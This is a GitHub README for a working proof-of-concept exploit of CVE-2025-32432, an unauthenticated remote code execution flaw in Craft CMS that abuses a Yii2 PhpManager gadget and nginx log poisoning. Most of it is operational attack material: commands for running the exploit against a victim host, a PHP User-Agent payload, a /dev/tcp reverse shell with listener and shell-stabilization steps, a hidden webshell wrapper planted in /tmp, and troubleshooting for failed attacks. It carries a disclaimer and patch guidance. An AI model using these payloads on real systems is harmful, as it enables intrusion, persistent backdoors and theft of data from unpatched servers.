Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC

Working proof-of-concept for CVE-2025-32432, an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 (also affects 4.x and 3.x trees on equivalent code paths).

Search keywords: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Default mode targets vanilla Craft CMS installs. A --lab flag is included for the carangueijada-20 challenge of the hacklab-platform project, which gates Craft behind a custom session cookie.


Vulnerability

Affected component: craft\controllers\AssetsController::actionGenerateTransform.

The action is registered as allowAnonymous, so no authentication is required. It accepts a POST parameter handle which is then spread into a Craft::createObject() call:

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

When $handle is an associative array under attacker control, the spread injects arbitrary keys into the constructor config. In particular, a key beginning with as is interpreted by yii\base\Component::__set as a behavior attachment, which calls Yii::createObject($config) on the value before any type check:

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

The Yii2 fix in 2.0.50 added is_subclass_of($value['class'], Behavior::class) guarding this branch; vulnerable installs (Yii2 <= 2.0.49, or earlier patched-out check) skip the guard entirely.

Gadget: yii\rbac\PhpManager

PhpManager is a stock Yii2 class. Its init() calls load(), which calls loadFromFile($this->itemFile). loadFromFile is literally:

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require parses any file on disk as PHP. If the file contains a <?php ... ?> block, that block runs in the worker. By pointing itemFile at a file whose content the attacker controls, full RCE is achieved.

Sink: nginx access.log

The reliable cross-install sink is the nginx combined-format access.log. It records the request User-Agent verbatim, including non-printable characters and most punctuation. By sending a request whose User-Agent is <?php system('id'); exit; ?>, the attacker plants a PHP block at a known path. Pointing itemFile at /var/log/nginx/access.log then requires the log, executing every <?php ... ?> block in order.

Two subtleties matter:

  1. No double quotes in the payload. nginx escapes " to \x22 in the combined format, which breaks PHP parsing of the line. Use single quotes or chr() concatenation.
  2. exit; at the end so require aborts before parsing later log lines that may contain other malformed payloads.

Affected versions

Component Vulnerable Patched
Craft CMS <= 5.6.16 5.6.17
Craft CMS <= 4.15.2 4.15.3
Craft CMS <= 3.9.14 3.9.15
Yii2 <= 2.0.49 2.0.50

Craft 5.6.17 adds an ImageTransformerInterface check on the transformer class. Yii2 2.0.50 adds a Behavior subclass check in Component::__set. Either fix alone closes this exact gadget chain.


Requirements

  • Python 3.8+
  • requests library (pip install -r requirements.txt)
  • Network reachability to the target HTTP(S) endpoint
  • A valid Craft assetId on the target. Default 2; override with -a <id> if needed (asset id 1 is usually the admin avatar).

Usage

Vanilla Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

Craft mounted under a path prefix

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Custom asset ID

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

Custom itemFile (different log path, FPM session, etc.)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Lab mode (carangueijada-20 challenge)

The carangueijada-20 lab from the hacklab-platform gates the Craft install behind a coopsess cookie issued by PATCH /login. The --lab flag handles that handshake automatically.

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Make sure www.carangueijada.coop resolves to the lab IP (add to /etc/hosts if needed).

Reverse shell

The --revshell flag fires a bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, backgrounded so the gadget POST returns instantly.

Two-terminal flow (most reliable):

# terminal 1 - listener on your machine
nc -lvnp 4444

# terminal 2 - fire exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

One-terminal flow with built-in listener:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen spawns nc -lvnp <lport> in the same terminal before firing the payload. Ctrl+C exits when you are done.

Sample session (lab):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilizing the shell (after connect, run inside the reverse shell):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

How idempotency works

On the first run, the exploit poisons access.log once to drop a hidden PHP wrapper at /tmp/.cve32432_w.php. The wrapper reads the X-Cmd HTTP header and runs system($_SERVER['HTTP_X_CMD']). Every subsequent dispatch points itemFile at the wrapper file and passes the command via header. No more poisoning, no more log pollution, no more "first <?php exit; block wins" failures.

If you want to force re-drop, delete /tmp/.cve32432_w.php on the target (you can do this through the wrapper itself: --cmd 'rm /tmp/.cve32432_w.php').


Sample output

Successful run against fresh target:

[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Polluted-log fallback (target has been exploited before, older payload exits before yours):

[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

How the chain actually fires

  1. POST /actions/assets/generate-transform reaches AssetsController::actionGenerateTransform.
  2. The handler builds $config = ['class' => ImageTransform::class, ...$handle]. Our handle[as gadget] survives the spread.
  3. Craft::createObject($config) calls Yii::$container->get(ImageTransform::class, [], $config), which instantiates ImageTransform and writes each remaining config key via $transform->{$key} = $value.
  4. When the parser hits as gadget, Component::__set matches the as prefix and calls Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject constructs PhpManager, runs __construct() and then init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP parses the log file. Non-PHP text is echoed to stdout (which ends up in the HTTP response body). <?php ... ?> blocks execute in the worker.
  8. Our planted payload runs system($cmd) and exit;. Output appears in the response body where the <?php block was textually located.

Troubleshooting

Symptom Cause Fix
HTTP 400 + "could not verify your data submission" / "Pedido invalido" CSRF token not bound to the cookie used in the POST The script uses a single requests.Session; if you reimplement, make sure the cookie jar persists CRAFT_CSRF_TOKEN between session-info and the POST.
HTTP 403 on /actions/... Path prefix or vhost wrong Use -p /prefix to match where Craft is mounted; ensure Host header matches the install.
csrfTokenValue empty / session-info returns HTML Wrong Accept header Script sends Accept: application/json already; if you patch it out, restore it.
Output never shows your command access.log already contains an older <?php ... exit; ?> payload that runs first Rotate / truncate the log on the target. If you only have RCE-as-id, wait for next logrotate, or pivot through a writable PHP file (e.g. /tmp/wrapper.php with system($_SERVER['HTTP_X_CMD']);) and use that as itemFile going forward.
assetId not found Wrong ID for that install Browse public asset URLs to enumerate IDs, or try -a 1 then -a 3..N.
Patched target Craft >= 5.6.17 or Yii2 >= 2.0.50 Chain is closed; either find another vulnerable class or move on.
Payload triggers PHP fatal Older log entries contain malformed PHP that breaks the parser before your block Same as polluted-log fix: rotate the log.

Polluted-log walkaround (no admin access)

If you can run only id reliably (because an older exit; poison locked the chain), one viable pivot is to make that single id-class command write a PHP wrapper to a path you control, then change itemFile to that path for all subsequent requests:

# one-shot poison with command that drops /tmp/w.php as www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encode CMD as chr() ...

Then call:

python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Each subsequent dispatch reads /tmp/w.php (a clean PHP file with nothing before our payload) and runs the command from the X-Cmd header. Adapt the script if you want this as a built-in mode.


Files

.
├── exploit.py        # the PoC
├── README.md         # this file
├── requirements.txt  # Python deps (just `requests`)
└── LICENSE           # MIT

References


Disclaimer

This proof-of-concept is published for defensive research, educational use, and authorized penetration testing only. Running it against systems you do not own or do not have written permission to test is illegal in most jurisdictions. The author accepts no liability for misuse.

If you maintain a Craft CMS install, upgrade to 5.6.17 or later (or the corresponding 4.x / 3.x patch release). The vulnerability is trivially exploitable and was used in real-world campaigns documented by SensePost.

License

MIT. See LICENSE.

About

Working PoC for CVE-2025-32432 - Craft CMS <= 5.6.16 unauthenticated RCE via Yii2 PhpManager gadget + nginx access.log poisoning

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages